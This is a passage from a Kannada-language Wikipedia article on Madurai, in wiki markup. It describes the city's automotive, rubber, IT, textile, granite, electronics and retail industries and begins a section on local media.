{{Webarchive|url=https://web.archive.org/web/20110315093926/http://www.indiaautomotive.net/2008/08/firestone-tvs-plant-inaugurated-near.html |date=2011-03-15 }}(ಏರ್‌ ಸ್ಪ್ರಿಂಗ್‌‌ಳ ತಯಾರಕರು), [http://www.msl.co.in/ MADRAS SUSPENSIONS LIMITED], TVS ಸ್ಯೂಯಿಂಗ್‌ ನೀಡಲ್ಸ್‌ ಲಿಮಿಟೆಡ್‌, TV ಸುಂದರಂ ಅಯ್ಯಂಗಾರ್‌ & ಸನ್ಸ್‌ ಲಿಮಿಟೆಡ್‌‌ (ಹೆಚ್ಚಿನ ಕ್ಷಮತೆಯ ವಾಣಿಜ್ಯ ವಾಹನಗಳು, ಜೀಪ್‌ಗಳು,ಕಾರುಗಳ ವಿತರಕರು) ಮತ್ತು ಸುಸೀ ಸಮೂಹ (ತಮಿಳುನಾಡಿನಾದ್ಯಂತ ವಾಹನಗಳ ಮಾರಾಟ, ಸೇವೆ, ಪರಿಕರಗಳು, ಹಣಕಾಸು ವ್ಯವಸ್ಥೆ ನೀಡುವ ಸಂಸ್ಥೆ)ಗಳು ಗಮನಾರ್ಹ ಕಂಪೆನಿಗಳು. General Motors, Ford, Toyota ಮತ್ತು Hondaಗಳೂ ಸೇರಿದಂತೆ ವಾಹನ ತಯಾರಿಕಾ ಕ್ಷೇತ್ರದ ಎಲ್ಲಾ ಬೃಹತ್‌ ಕಂಪೆನಿಗಳೂ ನಗರದಲ್ಲಿ ಉತ್ಪಾದಿಸಿದ ವಾಹನ ಸಾಮಗ್ರಿಗಳ ನಿಯತ ಗ್ರಾಹಕರಾಗಿವೆ<ref name="hindu.com">{{cite web |url= http://www.hindu.com/2007/10/25/stories/2007102550550200.htm |title= An industry that can bolster the economy of Madurai |accessdate= 2009-01-24 |archive-date= 2007-10-26 |archive-url= https://web.archive.org/web/20071026133827/http://www.hindu.com/2007/10/25/stories/2007102550550200.htm |url-status= dead }}</ref>. 2,000 ಎಕರೆಗಳಷ್ಟು ವಿಶಾಲವಾದ ಪ್ರದೇಶದಲ್ಲಿ [[ರಾಜ್ಯ ಸರ್ಕಾರ]]ವು ತಯಾರಿಕಾ ಉದ್ಯಮಕ್ಕೆ ಅದರಲ್ಲೂ ವಿಶೇಷವಾಗಿ ವಾಹನ ತಯಾರಿಕಾ ಪರಿಕರಗಳ ಉದ್ಯಮಕ್ಕೆ ಆದ್ಯತೆ ನೀಡಿ ಕೈಗಾರಿಕಾ ಪ್ರದೇಶವನ್ನು ಸ್ಥಾಪಿಸಲು ಉದ್ದೇಶಿಸಿದೆ<ref>{{cite web|url= http://business-standard.com/india/storypage.php?autono=343274|title= Industrial estate planned in Madurai | accessdate = 2009-01-24}}</ref>. === ರಬ್ಬರು === TVS ಶ್ರೀಚಕ್ರ (ಟೈರ್‌ಗಳ ತಯಾರಿಕೆ), ಸುಂದರಂ ಇಂಡಸ್ಟ್ರೀಸ್‌ ಲಿಮಿಟೆಡ್‌‌ (ರಬ್ಬರ್‌ ವಿಭಾಗ, ಕೋಚ್‌ ವಿಭಾಗ) ಮತ್ತು LANXESS ಇಂಡಿಯಾ ಪ್ರೈವೇಟ್‌ ಲಿಮಿಟೆಡ್‌ಗಳು ಇಲ್ಲಿನ ಕೆಲ ರಬ್ಬರ್‌ ಆಧಾರಿತ ಉದ್ಯಮಗಳು. ಭಾರತ್‌ ರಬ್ಬರ್‌ ಇಂಡಿಯಾ ಲಿಮಿಟೆಡ್‌‌ (BRIL) ಕಂಪೆನಿಯು ವಿ-ಬೆಲ್ಟ್‌ಗಳು, ಫ್ಯಾನ್‌ ಬೆಲ್ಟ್‌ಗಳ ಪ್ರಧಾನ ತಯಾರಕರಾಗಿದ್ದು VEEHOLD ಎಂಬ ಬ್ರಾಂಡ್‌ನಡಿಯಲ್ಲಿ ಭಾರತದಾದ್ಯಂತ ಮಾರಾಟ ಮಾಡುತ್ತದೆ. ರಬ್ಬರ್‌ ಉತ್ಪಾದನಾ ಕೇಂದ್ರಗಳಿಗೆ ಹತ್ತಿರವಿರುವ ಕಾರಣದಿಂದಾಗಿ, ರಬ್ಬರ್‌ ಇಲ್ಲಿನ ಸಾಂಪ್ರದಾಯಿಕ ಉದ್ಯಮವಾಗಿತ್ತು. ಕೈಚೀಲಗಳು, ಕ್ರೀಡಾ ಸಾಮಗ್ರಿಗಳು, ಮಂದಲಿಗೆ/ಚಾಪೆಗಳು ಮತ್ತಿತರ ಉಪಯುಕ್ತ ಸಾಮಗ್ರಿಗಳೊಂದಿಗೆ, ಮಧುರೈ ರಬ್ಬರ್‌ನಿಂದ ಮಾಡಿದ ವಾಹನ ಪರಿಕರಗಳ ಉತ್ಪಾದನೆಯಲ್ಲಿ ದೊಡ್ಡ ಹೆಸರು ಮಾಡಿದೆ. ವಾರ್ಷಿಕವಾಗಿ ಸುಮಾರು Rs.1,000 ಕೋಟಿಗಳಷ್ಟು ಮೊತ್ತದ ರಬ್ಬರ್‌ ಸರಕುಗಳನ್ನು ಇಲ್ಲಿ ಉತ್ಪಾದಿಸಲಾಗುತ್ತದೆ<ref name="hindu.com" />. ರಬ್ಬರ್‌ ಉದ್ಯಮ, ಉದ್ಯಮಿಗಳ ಅಭಿಪ್ರಾಯಗಳು ಮಧುರೈನ ಆರ್ಥಿಕತೆಯ ಮೇಲೆ ಭಾರೀ ಪರಿಣಾಮ ಬೀರಬಲ್ಲವು. ವಾಹನ ತಯಾರಿಕಾ ಕ್ಷೇತ್ರದಲ್ಲಿನ ಉಚ್ಛ್ರಾಯ ಸ್ಥಿತಿಯಿಂದಾಗಬಹುದಾದ ಈ ಉದ್ಯಮದಲ್ಲಿನ ಉದ್ದೇಶಿತ ಬೆಳವಣಿಗೆಯು ಸ್ಥಳೀಯ ಆರ್ಥಿಕತೆಯ ಇನ್ನಿತರ ಭಾಗಗಳಲ್ಲಿ ಸರಣಿಕ್ರಮದ ಪ್ರಭಾವ ಬೀರುವಷ್ಟಿರುತ್ತದೆ. ಈ ಉದ್ಯಮವು ಮಾಲಿನ್ಯಕಾರಕಗಳ ಉತ್ಪಾದನೆಯ ಸಾಧ್ಯತೆ ಹೆಚ್ಚಾಗಿರುವ ಉದ್ಯಮವಾದರೂ ಸಹಾ ಉತ್ಪಾದಕರು/ತಯಾರಕರು “ವಿಶೇಷ ಎಚ್ಚರ”ಗಳನ್ನು ವಹಿಸಿ ಪರಿಸರಸ್ನೇಹಿ ಪ್ರಕ್ರಿಯೆಗಳನ್ನು ಅಳವಡಿಸಿಕೊಳ್ಳಲು ಪ್ರಯತ್ನಿಸುತ್ತಿದ್ದಾರೆ. ಶೀಘ್ರದಲ್ಲೇ ನಗರದಲ್ಲಿ ರಬ್ಬರ್ ಉದ್ಯಮದ ಗುಚ್ಛಗಳನ್ನು ಸ್ಥಾಪಿಸಲು ಯೋಜಿಸಲಾಗಿದೆ. ಮಧುರೈ ಜಿಲ್ಲೆಯ ಟೈನಿ ಅಂಡ್‌ ಸ್ಮಾಲ್‌ ಸ್ಕೇಲ್‌ ಇಂಡಸ್ಟ್ರೀಸ್‌ ಅಸೋಸಿಯೇಷನ್‌ (MADITSSIA) ಮತ್ತು ರಬ್ಬರ್‌ ಪಾರ್ಕ್‌‌ (ಮಧುರೈ) ಲಿಮಿಟೆಡ್‌ಗಳು <ref>{{cite web|url= http://www.hindu.com/2008/01/05/stories/2008010559400200.htm|title= Rubber cluster to be established in Madurai|accessdate= 2009-01-24|archive-date= 2009-06-04|archive-url= https://web.archive.org/web/20090604203937/http://www.hindu.com/2008/01/05/stories/2008010559400200.htm|url-status= dead}}</ref> ತಮ್ಮ ನಡುವಿನ ಒಪ್ಪಂದದ ಜ್ಞಾಪಕಪತ್ರ(MoU)ಕ್ಕೆ ಸಹಿ ಹಾಕಿದವು. ಈಗಾಗಲೇ ಕಾರ್ಯಪ್ರವೃತ್ತವಾಗಿರುವ ಕೆಲ ಕೈಗಾರಿಕಾ ಯೋಜನೆಗಳೆಂದರೆ BHEL ಪೂರಕ ಘಟಕಗಳು <ref>{{cite web|url= http://www.thehindubusinessline.com/2008/09/08/stories/2008090851321500.htm |title= BHEL ancillary units’ estate planned | accessdate = 2009-01-24}}</ref> ಮತ್ತು ಕ/ಕ್ಯಾಪರೋ ಎಂಜಿನಿಯರಿಂಗ್‌ ಇಂಡಿಯಾ Pvt Ltd <ref>{{cite web|url= http://economictimes.indiatimes.com/Caparo_to_be_No_1_in_metal_sector_Swraj_Paul/articleshow/2393693.cms |title= Caparo to be No 1 in metal sector | accessdate = 2009-01-24}}</ref> ಉದ್ಯಮಗಳು. === IT ಮತ್ತು ITES === [[ಚಿತ್ರ:Honeywell Madurai recent.JPG|140px|thumb|left|ತಿರುಪ್ಪರಾಂಕುಂದ್ರಂನಲ್ಲಿರುವ ಹನಿವೆಲ್‌ ಕಂಪೆನಿಯ ಕಛೇರಿ]] ಇತ್ತೀಚಿನ ವರ್ಷಗಳಲ್ಲಿ [[IT]] ಉದ್ಯಮವು ಮಧುರೈನ ಆರ್ಥಿಕತೆಯಲ್ಲಿ ಪ್ರಭಾವ ಬೀರಲು ಆರಂಭಿಸಿದೆ. [[ಸಾಫ್ಟ್‌ವೇರ್‌ ಟೆಕ್ನಾಲಜಿ ಪಾರ್ಕ್ಸ್‌‌ ಆಫ್‌ ಇಂಡಿಯಾ]], ಭಾರತ ಸರಕಾರದ ಒಂದು ನಿಯೋಗಿ ಸಂಸ್ಥೆಯಾಗಿದ್ದು ತನ್ನ ರಾಷ್ಟ್ರೀಯ ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಅಭಿವೃದ್ಧಿ ಯೋಜನೆಯಡಿ ಅನುಕೂಲತೆಗಳನ್ನು ಪಡೆಯಲು ಮಧುರೈನಲ್ಲಿನ ಅನೇಕ ಕಂಪೆನಿಗಳನ್ನು ಪ್ರಮಾಣೀಕರಿಸಿದೆ/ಗಳಿಗೆ ಮಂಜೂರಾತಿ ನೀಡಿದೆ. ಹನಿವೆಲ್‌ ಟೆಕ್ನಾಲಜೀಸ್‌ ಇಂಡಿಯಾದಂತಹ MNCಗಳಿಗೆ ನಗರವು ನೆಲೆಯಾಗಿದೆ. ಉದ್ಯೋಗ/ಕೆಲಸದ ಸಂಸ್ಕೃತಿ, ಕನಿಷ್ಟ ಘರ್ಷಣೆಯ ದರ ಮತ್ತು ಶೈಕ್ಷಣಿಕ ಸಂಸ್ಥೆಗಳ ಲಭ್ಯತೆಗಳ ಕಾರಣದಿಂದಾಗಿ, [[HCL]], [[Satyam]], Oracle ಮತ್ತು ಸುದರ್‌ಲೆಂಡ್ ಗ್ಲೋಬಲ್‌ ಸರ್ವೀಸಸ್‌<ref>{{cite web|url= http://www.moneycontrol.com/india/news/business/madurai-is-next-bpo-hub-making-/20/41/324363 |title= Madurai is next BPO hub in the making | accessdate = 2008-12-23}}</ref><ref>{{cite web|url=http://www.ciol.com/SMB/News-Reports/Oracle-eyes-SMEs/41108112252/0/|title= Oracle plans to open a new centre in Madurai|accessdate = 2008-12-23}}</ref> ಗಳಂತಹಾ ಪ್ರಮುಖ IT ಕಂಪೆನಿಗಳನ್ನು ನಗರವು ಆಕರ್ಷಿಸುತ್ತಿದೆ. ತಮಿಳುನಾಡು ಸರಕಾರವು ಎರಡು IT- [[ವಿಶೇಷ ಆರ್ಥಿಕ ವಲಯ]] (SEZ)ಗಳನ್ನು ಮಧುರೈನಲ್ಲಿ ಸ್ಥಾಪಿಸಲು ಪ್ರಸ್ತಾವ ನೀಡಿದೆ ಮತ್ತು ಅವುಗಳನ್ನು ಈಗಾಗಲೇ ಪೂರ್ಣ ರೀತಿಯಲ್ಲಿ ಅನೇಕ IT ಕಂಪೆನಿಗಳು ತಮ್ಮ ಸುಪರ್ದಿಗೆ ತೆಗೆದುಕೊಂಡಿವೆ <ref>{{cite web|url= http://www.elcot.in/it-parks.php?page=4|title= ELCOT website | accessdate = 2008-12-24}}</ref>.ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ/ಇನ್‌ಫರ್ಮೇಷನ್‌ ಟೆಕ್ನಾಲಜಿ ಪಾರ್ಕ್‌<ref>{{cite web|url= http://www.hindu.com/2008/12/07/stories/2008120758080200.htm|title= Work on provision of infrastructure begins in Information Technology parks|accessdate= 2008-12-24|archive-date= 2008-12-10|archive-url= https://web.archive.org/web/20081210060826/http://www.hindu.com/2008/12/07/stories/2008120758080200.htm|url-status= dead}}</ref> ಗಳಲ್ಲಿ ಆಧಾರರಚನೆ ವ್ಯವಸ್ಥೆಗಳನ್ನು ನೀಡುವ ಪ್ರಕ್ರಿಯೆಯು ಪ್ರಗತಿಯಲ್ಲಿದೆ. ಮಧುರೈನಲ್ಲಿ ಹಾಗೂ ಸುತ್ತಮುತ್ತ ಉತ್ತಮ ಗುಣಮಟ್ಟದ [[ಮಾನವ ಸಂಪನ್ಮೂಲ]]ದ ಹೆಚ್ಚಿದ ಅಭಿವೃದ್ಧಿಯಿಂದಾಗಿ ಭಾರತದ No.2 IT ಪ್ರಧಾನ ಸಂಸ್ಥೆಯಾದ [[ಇನ್‌ಫೋಸಿಸ್‌]] ತನ್ನ ವಿಸ್ತರಣೆ ಹಾಗೂ ತನ್ನ ತಂತ್ರಾಂಶ ಅಭಿವೃದ್ಧಿ/ಡೆವಲಪ್‌ಮೆಂಟ್‌ ಕೇಂದ್ರವನ್ನು ತೆರೆಯಲು ಮಧುರೈನೆಡೆ ದೃಷ್ಟಿ ನೆಟ್ಟಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತಿದೆ.<ref>{{cite news|url=http://economictimes.indiatimes.com/Infotech/Software/Infosys-eyeing-Tier-II-cities-for-expansion/articleshow/4829201.cms |title=Infosys eyeing Tier-II cities for expansion- Software-Infotech-The Economic Times |publisher=Economictimes.indiatimes.com |date=2009-07-28 |accessdate=2009-09-23}}</ref> . ಮಧುರೈನಲ್ಲಿ ಕಾರ್ಯಾಚರಿಸುತ್ತಿರುವ ಹಾಗೂ ಇಲ್ಲಿನ ಆದಾಯಕ್ಕೆ ಕೊಡುಗೆ ನೀಡುತ್ತಿರುವ ತಂತ್ರಾಂಶ/ಸಾಫ್ಟ್‌ವೇರ್‌ ಕಂಪೆನಿಗಳ ಪಟ್ಟಿಯನ್ನು ಇಲ್ಲಿ ನೋಡಬಹುದು [[ಮಧುರೈನ ತಂತ್ರಾಂಶ/ಸಾಫ್ಟ್‌ವೇರ್‌ ಕಂಪೆನಿಗಳು]]. === ಜವಳಿ/ವಸ್ತ್ರೋದ್ಯಮ === ಪಸ್ತುತವಿರುವ ಕೆಲ ವಸ್ತ್ರೋದ್ಯಮ/ರಾಸಾಯನಿಕ ಕೈಗಾರಿಕೆಗಳೆಂದರೆ ತಿಯಾಗರಾಜರ್‌/ತ್ಯಾಗರಾಜರ್‌ ಮಿಲ್ಸ್‌ (P) ಲಿಮಿಟೆಡ್‌ (100% ಭಾರತೀಯ ಹತ್ತಿ ನೂಲಿನ ಅತಿ ದೊಡ್ಡ ತಯಾರಕರು ಹಾಗೂ ರಫ್ತುದಾರರುಗಳಲ್ಲಿ ಒಬ್ಬರು), ಕಾಸಿಂ ಟೆಕ್ಸ್‌ಟೈಲ್ಸ್‌ ಮಿಲ್ಸ್‌, ಸುಂದರಂ ಟೆಕ್ಸ್‌ಟೈಲ್ಸ್‌ ಲಿಮಿಟೆಡ್‌, ಮಧುರಾ ಕೋಟ್ಸ್‌‌ Pvt. Ltd, ಪ್ಯಾರಾಮೌಂಟ್‌ ಮಿಲ್ಸ್‌ (P) Ltd,ವೀವ್ಸ್‌‌ ಇಂಡಿಯಾ (P) Ltd, ಫಸ್ಟ್‌‌ ಗಾರ್ಮೆಂಟ್‌ ಮ್ಯಾನುಫ್ಯಾಕ್ಚರಿಂಗ್‌ ಕಂಪೆನಿ (ಭಾರತ) Pvt Ltd, ವೈಗೈ ಸಮೂಹ (ರಾಸಾಯನಿಕಗಳು, ಖಾದ್ಯ ತೈಲಗಳು, ವಸ್ತ್ರೋದ್ಯಮ, ನಿರ್ಮಾಣ), ಅಲಯ ಧೋತೀಸ್‌, ಸಾರಥಿ ಧೋತೀಸ್‌‌ ಮತ್ತು SLM ಇಂಟರ್‌ನ್ಯಾಷನಲ್‌. === ಗ್ರಾನೈಟ್‌ ಉದ್ಯಮ === ಈ ನಗರದಲ್ಲಿ ಕೆಲ ಗ್ರಾನೈಟ್‌ ಕೈಗಾರಿಕೆ ಕಂಪೆನಿಗಳಾದ PRP ಎಕ್ಸ್‌ಪೋರ್ಟ್ಸ್‌ (ಭಾರತದ ಅತಿದೊಡ್ಡ ಗ್ರಾನೈಟ್‌ ಸಂಸ್ಕರಣಕಾರರು ಹಾಗೂ ರಫ್ತುದಾರರುಗಳಲ್ಲಿ ಒಬ್ಬರು) ಮಧುರೈ ಆರ್ಕೆ ರಾಕ್‌, P.R.ಗ್ರಾನೈಟ್ಸ್‌‌, ಡ್ಯುನೈಟ್‌ರಾಕ್ಸ್‌ ಪ್ರೈವೇಟ್‌ ಲಿಮಿಟೆಡ್‌‌ (ಗ್ರಾನೈಟ್‌ ಗ್ಯಾಂಗ್‌ಸಾ ಚಪ್ಪಡಿಗಳು) ಮತ್ತು ಆರ್ಕೆ ಗ್ಲೆನ್‌ರಾಕ್‌ಗಳು ಕಾರ್ಯಾಚರಿಸುತ್ತಿವೆ. ಮೆಲೂರ್‌ನಲ್ಲಿ ಗ್ರಾನೈಟ್‌ ಕೈಗಾರಿಕೆಯನ್ನು ಹಾಗೂ ಮಧುರೈನಲ್ಲಿ ಹೊಳಪು/ಮೆರುಗುಕೊಡುವ/ಪಾಲಿಷಿಂಗ್‌ ಕಾರ್ಖಾನೆಗಳನ್ನು ಸ್ಥಾಪಿಸಲು ಪ್ರಸ್ತಾವಗಳನ್ನು ಸಲ್ಲಿಸಲಾಗಿದೆ. === ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್‌ ಉದ್ಯಮ === TVS ಇಂಟರ್‌ಕನೆಕ್ಟ್‌ ಸಿಸ್ಟಂಸ್‌ Ltd ಕಂಪೆನಿಯು ಕಡಿಮೆ ಸಾಮರ್ಥ್ಯದ/ಗಾತ್ರದ ಉಪಕರಣಗಳಾದ ಎಲೆಕ್ಟ್ರಾನಿಕ್‌ ಕನೆಕ್ಟರ್‌ಗಳು, RF (ರೇಡಿಯೋ ತರಂಗಾಂತರ) ಕನೆಕ್ಟರ್‌ಗಳು, ಕೇಬಲ್‌ ಅಸೆಂಬ್ಲಿಗಳು, ಫೈಬರ್‌ ಆಪ್ಟಿಕ್‌ ಉತ್ಪನ್ನಗಳು & ಮತ್ತಿತರ ದೂರಸಂಪರ್ಕ ಪರಿಕರಗಳು, ಗ್ರಾಹಕ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್‌ ಮತ್ತು ವಾಹನ ತಯಾರಿಕಾ ಕೈಗಾರಿಕೆಗಳಿಗೆ ಬೇಕಾದ ಬಿಡಿಭಾಗಗಳನ್ನು ತಯಾರಿಸುವ ಕಂಪೆನಿಯಾಗಿದೆ. === ಚಿಲ್ಲರೆ/ಬಿಡಿ ಮಾರಾಟ === ಚಿಲ್ಲರೆ ಮಾರಾಟ ಉದ್ಯಮವು ನಗರದಲ್ಲಿ ಅಭಿವೃದ್ಧಿಗೊಳ್ಳುತ್ತಿದೆ.{{Citation needed|date=August 2009}} ಈ ಬೆಳವಣಿಗೆಯು ಪ್ರಸ್ತುತ ಸೂಪರ್‌ ಮಾರುಕಟ್ಟೆಗಳಾದ ರಿಲಯನ್ಸ್‌ ಸೂಪರ್‌, ಸ್ಪೆನ್ಸರ್ಸ್‌ ಡೈಲಿ, A.K. ಅಹಮದ್‌ Co., ಮತ್ತು ಮಿಲನ್‌-ಎಂ(ಮಿಲೇನಿಯಂ?) ಮಾಲ್‌<ref>{{cite web |url= http://www.hinduonnet.com/thehindu/mp/2007/12/29/stories/2007122950030100.htm |title= Rock, shop and drop through the year |accessdate= 2008-12-23 |archive-date= 2008-12-26 |archive-url= https://web.archive.org/web/20081226135017/http://www.hinduonnet.com/thehindu/mp/2007/12/29/stories/2007122950030100.htm |url-status= dead }}</ref>, Big Bazaar ಮತ್ತು ಮಧುರೈ ಸಿಟಿಸೆಂಟರ್‌ಗಳಂತಹಾ ನಿರ್ಮಾಣ ಹಂತದಲ್ಲಿರುವ ಮಾಲ್‌ಗಳನ್ನು ಗಮನಿಸಿದರೆ ಸ್ವಷ್ಟವಾಗುತ್ತದೆ. ನಗರದ ಪ್ರಾಚೀನ ರಚನೆಯೊಂದಿಗೆ ಹೊಂದಿಕೊಳ್ಳುವಂತೆ, ನಗರದಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಗಿರುವ ವಾಣಿಜ್ಯ ಸ್ಥಳಗಳು ಸಮೂಹವಾಗಿ ರೂಪಿತವಾಗಿವೆ, ಹಾಗೂ ಸಾಲಾದ ಅನೇಕ ಅಂಗಡಿಗಳು ಒಂದೇ ರೀತಿಯ ವಸ್ತುಗಳನ್ನು ಮಾರುತ್ತಿರುವುದನ್ನು ಮಧುರೈನಲ್ಲಿ ಮಾತ್ರ ಕಾಣಬಹುದು.ಈಸ್ಟ್‌ ಗೇಟ್‌/ಪೂರ್ವ ದ್ವಾರವು ಗೃಹಕೃತ್ಯದ ಸಾಮಾನುಗಳನ್ನು ಮಾರುವ ಅಂಗಡಿಗಳಾದ ಮಣಿಮಾರನ್‌ ಸ್ಟೋರ್ಸ್‌, P.S.ಗುಣಸೇ/ಶೇಖರನ್‌ ಮೆಟಲ್ಸ್‌ ಮತ್ತು ಅನಂತ ಅಂಗಡಿಯಂತಹಾ ಅಂಗಡಿಗಳಿಂದ ಸುತ್ತುವರೆದಿದೆ. ಪೂರ್ವ ಮಾಸಿ ಸ್ಟ್ರೀಟ್‌/ಬೀದಿಯು ಸಾವಿರಾರು ದಿನಸಿ ಅಂಗಡಿಗಳಿಂದ ತುಂಬಿದ್ದರೆ, ಪಶ್ಚಿಮ ಮಾಸಿ ಬೀದಿಯು ಎಲೆಕ್ಟ್ರಿಕಲ್‌ ಮತ್ತು ಕೊಳಾಯಿ/ನೀರು ಸರಬರಾಜು ಸಾಮಗ್ರಿಗಳ ಅಂಗಡಿಗಳಿದ್ದರೆ, ದಕ್ಷಿಣ ಮಾಸಿ ಬೀದಿಯಲ್ಲಿ ಉಡಿಗೆ-ತೊಡಿಗೆಗಳು ಮತ್ತು ವಸ್ತ್ರೋದ್ಯಮ ಉತ್ಪನ್ನಗಳಿರುತ್ತವೆ, ಸಾಮಾನು ಸಾಗಣೆ ಮತ್ತು ಹಣ್ಣುಹಂಪಲುಗಳ ಗೋದಾಮುಗಳು ಉತ್ತರ ಮಾಸಿ ಬೀದಿಯಲ್ಲಿವೆ, ಟೌನ್‌ ಹಾಲ್‌ ರಸ್ತೆಯಲ್ಲಿ ಎಲೆಕ್ಟ್ರಾನಿಕ್‌ ವಸ್ತುಗಳು ಮಾರಾಟವಾದರೆ, ವಾಹನಗಳ ಬಿಡಿಭಾಗಗಳೂ ಉತ್ತರ ವೇಲಿ ಬೀದಿಯಲ್ಲಿ ಸಿಗುತ್ತವೆ ಮತ್ತು ಮೊಬೈಲ್‌/ಸಂಚಾರಿ ದೂರವಾಣಿ ಮಳಿಗೆಗಳು ಕೃಷ್ಣ ರಾಯರ್‌ ಕರೆ ಕೆರೆ/ಕೊಳ/ಟ್ಯಾಂಕ್‌ ಬೀದಿಯಲ್ಲಿದ್ದರೆ, ನಾಯಕ್ಕಾರ್‌ ಹೊಸ ಬೀದಿಯಲ್ಲಿ ವೈದ್ಯಕೀಯ ಸಾಮಗ್ರಿಗಳು ದೊರಕುತ್ತವೆ, ಆಭರಣಗಳು ಗೋಲ್ಡ್‌/ಚಿನ್ನದ ಬಜಾರ್‌‌ ಬೀದಿಯಲ್ಲಿ ಲಭ್ಯವಿದ್ದರೆ, ಮುದ್ರಣ ಸಂಸ್ಥೆಗಳು ಮತ್ತು ಹೋಟೆಲ್‌ಗಳು ಪಶ್ಚಿಮ ಪೆರುಮಾಲ್‌ ಮೇಸ್ತ್ರಿ ಬೀದಿಯಲ್ಲಿರುತ್ತವೆ, ಪುಸ್ತಕಗಳು ಮತ್ತು ನೋಟ್‌ ಪುಸ್ತಕಗಳು ಹೊಸ ಮಂಡಪಂ ಬೀದಿಯಲ್ಲಿ ಸಿಗುತ್ತವೆ. ಅಲಂಕಾರಿಕ ವಸ್ತುಗಳು, ಬಳೆಗಳು, ಉಡುಗೊರೆ ವಸ್ತುಗಳು, ಚಿನ್ನ ಮತ್ತು ಆಭರಣಗಳು, ರಾಸಾಯನಿಕಗಳು ಮತ್ತು ವೈದ್ಯಕೀಯ ಸಾಮಗ್ರಿಗಳು etc. ಚಿಲ್ಲರೆ ಮಾರಾಟ ಮಾಡುವ ಪ್ರತ್ಯೇಕ ಅಗಲವಾದ ಬೀದಿಗಳೂ ಇವೆ. ಒಂದೇ ರಸ್ತೆಯಲ್ಲಿ ಒಂದೇ ರೀತಿಯ ವಸ್ತುಗಳನ್ನು ಮಾರಾಟ ಮಾಡುವಂತಹಾ ವ್ಯವಸ್ಥೆಯು ಇಡೀ ಭಾರತದಲ್ಲಿ ಕೇವಲ ಮಧುರೈನಲ್ಲಿ ಮಾತ್ರವೇ ಇದೆ.<br /> ಎಲ್ಲಾ ವರ್ಗದ ಜನರಿಗೂ ಆಗುವಂತಹಾ ಸಿನೆಮಾ/ಚಿತ್ರಮಂದಿರಗಳು ಅಥವಾ ಮಲ್ಟಿಪ್ಲೆಕ್ಸ್‌ಗಳು ನಗರದಲ್ಲಿವೆ. ತಮಿಳು ಚಿತ್ರಗಳಲ್ಲದೇ, ಕೆಲ ಹಿಂದಿ ಮತ್ತು ಆಂಗ್ಲ ಚಿತ್ರಗಳೂ ಸಹಾ ನಗರದಲ್ಲಿ ಪ್ರದರ್ಶಿಸಲ್ಪಡುತ್ತವೆ. ಬೈಪಾಸ್‌ ರಸ್ತೆಯಲ್ಲಿರುವ ಅಪರ್ಣಾ ಟವರ್ಸ್‌‌ ಮತ್ತು S.S.ಕಾಲೊನಿಯ ಖಾಜಿಯಾರ್‌ ಕಾಂಪ್ಲೆಕ್ಸ್‌ಗಳು ಚಿಲ್ಲರೆ ಮಾರಾಟ ವ್ಯವಹಾರದ ಮಧುರೈ ನಗರದಲ್ಲಿನ ಮಹತ್ವದ ಮಾರಾಟಕೇಂದ್ರಗಳಾಗಿವೆ. [http://www.maduraizone.in/yellow/index.php?file=print&amp;id=1427 ನಾಯ್ಡು ಹಾಲ್‌ (ನೈಹಾ)]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, ಪೊಥಿಸ್‌, ಮೆಗಾಮಾರ್ಟ್,ಬ್ರಿಟಿಷ್‌ ಬೇಕರಿ, ಕೆಫೆ ಕಾಫಿಡೇ, etc.ಗಳಂತಹಾ ಇತರೆ ವ್ಯಾಪಾರಕೇಂದ್ರಗಳಿವೆ. ಚಿನ್ನ, ವಜ್ರಗಳು, ಮತ್ತು ಪ್ಲಾಟಿನಂ ವ್ಯಾಪಾರಿಗಳಿಗೆ ಜ್ಯುವೆಲ್ಲರಿ ಬಜಾರ್‌ನಲ್ಲಿ ಚಿನ್ನಾಭರಣಗಳ ಅಂಗಡಿಗಳು ಹಾಗೂ ಥಂಗಾ ಮಾಲ್‌‌, ಅಲುಕ್ಕಾಸ್‌‌, ಜಾಯ್‌ ಅಲುಕ್ಕಾಸ್‌‌, ಭೀಮಾ ಅಂಡ್‌ ಲಲಿತಾ ಜ್ಯುವೆಲ್ಲರಿ ಮುಂತಾದ ಬೃಹತ್‌ ಪ್ರಮಾಣದ ವ್ಯವಹಾರ ನಡೆಸುವ ಮಳಿಗೆಗಳಿವೆ. == ಮಾಧ್ಯಮ == ನಗರವು ಅನೇಕ ರೇಡಿಯೋ ಕೇಂದ್ರಗಳಾದ [[ರೇಡಿಯೋ ಮಿರ್ಚಿ]], ಹೆಲೊ FM, [[ಸೂರ್ಯನ್‌ FM]]ಗಳ ಸೇವೆ ನೀಡುತ್ತದೆ ಮತ್ತು ನಗರವು ಎರಡು ಪ್ರಮುಖ ಆಂಗ್ಲ ದೈನಿಕಗಳಾದ [[ದ ಹಿಂದು]] ಮತ್ತು [[ದ ನ್ಯೂ ಇಂಡಿಯನ್‌ ಎಕ್ಸ್‌ಪ್ರೆಸ್‌]]ಗಳ ಸ್ಥಳೀಯ ಆವೃತ್ತಿ ಬಿಡುಗಡೆ ಮಾಡುತ್ತದೆ‌. ತಮಿಳು ಭಾಷೆಯ ಪ್ರಾತಃಕಾಲದ ದೈನಿಕಗಳೆಂದರೆ [[ದಿನಮಲಾರ್]], [[ದಿನತಂತಿ]], [[ದಿನಮಣಿ]] ಮತ್ತು [[ದಿನಕರನ್‌]]ಗಳನ್ನು ಸಹಾ ಹೊಂದಿದೆ. ಮಧುರೈನಲ್ಲಿ ಪ್ರಕಟಗೊಳ್ಳುವ ಸಂಜೆಯ ದೈನಿಕಗಳೆಂದರೆ [[ತಮಿಳ್‌ ಮುರಸು]], ಮಲೈ ಮುರಸು ಮತ್ತು [[ಮಲೈ ಮಲಾರ್]]‌. ಅಷ್ಟೇ ಅಲ್ಲದೇ [[ತಮಿಳುನಾಡಿ]]ನ ಪ್ರಖ್ಯಾತ ಕಿರುತೆರೆ ಜಾಲವಾದ [[Sun TV ಜಾಲ]]ವು, [[SUN TV]], K TV, [[Sun News]] etc., ವಾಹಿನಿಗಳೊಂದಿಗಿನ ತನ್ನ ಪ್ರಾಂತೀಯ ಕಛೇರಿಯನ್ನು, ಮಧುರೈನ 